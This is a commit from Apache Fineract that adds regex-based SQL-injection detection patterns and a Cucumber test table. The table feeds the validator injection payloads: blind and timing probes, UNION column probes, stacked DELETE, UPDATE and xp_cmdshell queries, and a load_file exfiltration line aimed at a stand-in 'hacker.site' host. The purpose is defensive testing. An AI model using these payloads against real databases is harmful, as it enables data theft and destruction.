FINERACT-2076: SQL query optimization
This commit is contained in:
Aleksandar Vidakovic
committed by
Aleksandar Vidakovic
Aleksandar Vidakovic
parent
039bca440b
commit
a022a51189
@@ -99,6 +99,103 @@ fineract.sampling.sampledClasses=
|
||||
|
||||
fineract.module.investor.enabled=true
|
||||
|
||||
# sql validation
|
||||
|
||||
# inject-blind
|
||||
fineract.sql-validation.patterns[0].name=inject-blind
|
||||
fineract.sql-validation.patterns[0].pattern=(?i).*[\\"'`]?\\s*[and|or]+\\s*[\\"'`]?([\\d\\w])+[\\"'`]?\\s*=\\s*[\\"'`]?(\\1)[\\"'`]?\\s*.*
|
||||
|
||||
# detect-entry-point
|
||||
fineract.sql-validation.patterns[1].name=detect-entry-point
|
||||
fineract.sql-validation.patterns[1].pattern=(?i)^[\\"'`]?[\\)\\s]+
|
||||
|
||||
# inject-timing
|
||||
fineract.sql-validation.patterns[2].name=inject-timing
|
||||
fineract.sql-validation.patterns[2].pattern=(?i).*[\\"'`]?\\s*[and|\\+|&|\\|]+.*\\s*[sleep|pg_sleep|benchmark]+\\s*(\\(\\s*\\d+\\s*[,]?\\s*.*\\s*\\))+.*
|
||||
|
||||
# detect-backend
|
||||
fineract.sql-validation.patterns[3].name=detect-backend
|
||||
fineract.sql-validation.patterns[3].pattern=(?i).*\\[\\s*\\"(\\w+\\(.*\\))=(\\1)\\"\\s*,\\s*\\"\\w+\\"\\s*\\].*
|
||||
|
||||
# detect-column
|
||||
fineract.sql-validation.patterns[4].name=detect-column
|
||||
fineract.sql-validation.patterns[4].pattern=(?i).*[\\"'`]?\\s*(order\\s*by|group\\s*by|union\\s*select)+\\s+([\\d+|null]?\\s*,*\\s*)+\\s*.*
|
||||
|
||||
# detect-out-of-bands
|
||||
fineract.sql-validation.patterns[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.patterns[5].pattern=(?i).*(select)+\\s+(load_file)+.*
|
||||
|
||||
# inject-stacked-query
|
||||
fineract.sql-validation.patterns[6].name=inject-stacked-query
|
||||
fineract.sql-validation.patterns[6].pattern=(?i).*[;]+\\s*(create|drop|alter|truncate|comment|select|insert|update|delete|merge|upsert|call|exec)+.*(from|into|set|table|column|database)*.*
|
||||
|
||||
# inject-comment
|
||||
fineract.sql-validation.patterns[7].name=inject-comment
|
||||
fineract.sql-validation.patterns[7].pattern=(?i).*\\s+(-|/\\*|#|\\(\\{)++.*
|
||||
|
||||
# main
|
||||
fineract.sql-validation.profiles[0].name=main
|
||||
fineract.sql-validation.profiles[0].description=Main Query Validation Profile
|
||||
fineract.sql-validation.profiles[0].patternRefs[0].name=inject-blind
|
||||
fineract.sql-validation.profiles[0].patternRefs[0].order=0
|
||||
fineract.sql-validation.profiles[0].patternRefs[1].name=detect-entry-point
|
||||
fineract.sql-validation.profiles[0].patternRefs[1].order=1
|
||||
fineract.sql-validation.profiles[0].patternRefs[2].name=inject-timing
|
||||
fineract.sql-validation.profiles[0].patternRefs[2].order=2
|
||||
fineract.sql-validation.profiles[0].patternRefs[3].name=detect-backend
|
||||
fineract.sql-validation.profiles[0].patternRefs[3].order=3
|
||||
fineract.sql-validation.profiles[0].patternRefs[4].name=detect-column
|
||||
fineract.sql-validation.profiles[0].patternRefs[4].order=4
|
||||
fineract.sql-validation.profiles[0].patternRefs[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.profiles[0].patternRefs[5].order=5
|
||||
fineract.sql-validation.profiles[0].patternRefs[6].name=inject-stacked-query
|
||||
fineract.sql-validation.profiles[0].patternRefs[6].order=6
|
||||
fineract.sql-validation.profiles[0].patternRefs[7].name=inject-comment
|
||||
fineract.sql-validation.profiles[0].patternRefs[7].order=7
|
||||
fineract.sql-validation.profiles[0].enabled=true
|
||||
|
||||
# adhoc
|
||||
fineract.sql-validation.profiles[1].name=adhoc
|
||||
fineract.sql-validation.profiles[1].description=Adhoc Query Validation Profile
|
||||
fineract.sql-validation.profiles[1].patternRefs[0].name=inject-blind
|
||||
fineract.sql-validation.profiles[1].patternRefs[0].order=0
|
||||
fineract.sql-validation.profiles[1].patternRefs[1].name=detect-entry-point
|
||||
fineract.sql-validation.profiles[1].patternRefs[1].order=1
|
||||
fineract.sql-validation.profiles[1].patternRefs[2].name=inject-timing
|
||||
fineract.sql-validation.profiles[1].patternRefs[2].order=2
|
||||
fineract.sql-validation.profiles[1].patternRefs[3].name=detect-backend
|
||||
fineract.sql-validation.profiles[1].patternRefs[3].order=3
|
||||
fineract.sql-validation.profiles[1].patternRefs[4].name=detect-column
|
||||
fineract.sql-validation.profiles[1].patternRefs[4].order=4
|
||||
fineract.sql-validation.profiles[1].patternRefs[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.profiles[1].patternRefs[5].order=5
|
||||
fineract.sql-validation.profiles[1].patternRefs[6].name=inject-stacked-query
|
||||
fineract.sql-validation.profiles[1].patternRefs[6].order=6
|
||||
fineract.sql-validation.profiles[1].patternRefs[7].name=inject-comment
|
||||
fineract.sql-validation.profiles[1].patternRefs[7].order=7
|
||||
fineract.sql-validation.profiles[1].enabled=true
|
||||
|
||||
# dynamic
|
||||
fineract.sql-validation.profiles[2].name=dynamic
|
||||
fineract.sql-validation.profiles[2].description=Dynamic Query Validation Profile
|
||||
fineract.sql-validation.profiles[2].patternRefs[0].name=inject-blind
|
||||
fineract.sql-validation.profiles[2].patternRefs[0].order=0
|
||||
fineract.sql-validation.profiles[2].patternRefs[1].name=detect-entry-point
|
||||
fineract.sql-validation.profiles[2].patternRefs[1].order=1
|
||||
fineract.sql-validation.profiles[2].patternRefs[2].name=inject-timing
|
||||
fineract.sql-validation.profiles[2].patternRefs[2].order=2
|
||||
fineract.sql-validation.profiles[2].patternRefs[3].name=detect-backend
|
||||
fineract.sql-validation.profiles[2].patternRefs[3].order=3
|
||||
fineract.sql-validation.profiles[2].patternRefs[4].name=detect-column
|
||||
fineract.sql-validation.profiles[2].patternRefs[4].order=4
|
||||
fineract.sql-validation.profiles[2].patternRefs[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.profiles[2].patternRefs[5].order=5
|
||||
fineract.sql-validation.profiles[2].patternRefs[6].name=inject-stacked-query
|
||||
fineract.sql-validation.profiles[2].patternRefs[6].order=6
|
||||
fineract.sql-validation.profiles[2].patternRefs[7].name=inject-comment
|
||||
fineract.sql-validation.profiles[2].patternRefs[7].order=7
|
||||
fineract.sql-validation.profiles[2].enabled=true
|
||||
|
||||
management.health.jms.enabled=false
|
||||
|
||||
# FINERACT 1296
|
||||
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
#
|
||||
# Licensed to the Apache Software Foundation (ASF) under one
|
||||
# or more contributor license agreements. See the NOTICE file
|
||||
# distributed with this work for additional information
|
||||
# regarding copyright ownership. The ASF licenses this file
|
||||
# to you under the Apache License, Version 2.0 (the
|
||||
# "License"); you may not use this file except in compliance
|
||||
# with the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing,
|
||||
# software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
# KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations
|
||||
# under the License.
|
||||
#
|
||||
|
||||
Feature: Security Utils SQL validator
|
||||
|
||||
@security
|
||||
Scenario Outline: Verify that detects all configured SQL injection patterns
|
||||
Given A partial SQL statement <statement> with whitespaces fuzzy degree <fuzzy>
|
||||
When Validating the partial statement
|
||||
Then The validator had exception message <exception>
|
||||
|
||||
Examples:
|
||||
| statement | fuzzy | exception |
|
||||
| or 'a' = 'a' | 36 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| ' or 'a' = 'a' | 12 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| or 'a' = 'a' -- | 27 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| or 'a' = 'a' /* | 17 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| abc' Or 'a' = 'a' /* | 19 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| OR 1 = 1 | 36 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| ' or 1 = 1 | 17 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| or 1 = 1 ----- | 57 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| or 1 = 1 /* | 11 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| 123 | 0 | |
|
||||
| 2.59 | 0 | |
|
||||
| abc123xyz | 0 | |
|
||||
| true | 0 | |
|
||||
| [2024, 4, 21] | 7 | |
|
||||
| ["abc", "def", "ghi", "jkl", "mno"] | 7 | |
|
||||
| ') | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| ')) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| '))) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| `) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| `) ) | 19 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| `))) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| `) )))) ))))) ))) )) | 23 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| ") | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| ")) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| "))) | 19 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| 1' + sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' and Sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' && sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' \| SLEEP(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' \|\| sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' \|\| pg_sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| abc' && benchmark( 400000 , sha1(1) ) | 17 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' and if(1=1, sleep(15), false) | 19 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A') # | 19 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["connection_id()=connection_id()" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| ["current_database()=current_database()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| 1' ORDER by 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' ORDER BY 1, 2 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' ORDER BY 1, 2, 3 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' group by 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| abc' group by 1, 2 -- | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' group by 1, 2, 3 /* | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' Union Select 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' Union Select 1, 2 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' Union Select 1, 2, 3 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' Union Select null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' union select null, null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' UNION SELECT null, null, null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| checkedOnDate | 23 | |
|
||||
| officeName | 23 | |
|
||||
| resourceId | 23 | |
|
||||
| clientId | 23 | |
|
||||
| processingResult | 23 | |
|
||||
| clientName | 23 | |
|
||||
| maker | 23 | |
|
||||
| subresourceId | 23 | |
|
||||
| checker | 23 | |
|
||||
| savingsAccountNo | 23 | |
|
||||
| loanAccountNo | 23 | |
|
||||
| groupName | 23 | |
|
||||
| entityName | 23 | |
|
||||
| madeOnDate | 23 | |
|
||||
| id | 23 | |
|
||||
| loanId | 23 | |
|
||||
| actionName | 23 | |
|
||||
| select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); | 17 | SQL validation error: invalid SQL statement (detected 'detect-out-of-bands' pattern) |
|
||||
| 1; DELETE FROM products | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
|
||||
| 1; UPDATE members SET password='pwd' WHERE username='admin' | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
|
||||
| 1; exec master..xp_cmdshell 'DEL important_file.txt' | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
|
||||
| 123 -- | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
|
||||
| ' /* | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
|
||||
| abc' # | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
|
||||
| 2 ({ | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
|
||||
|
||||
Reference in New Issue
Block a user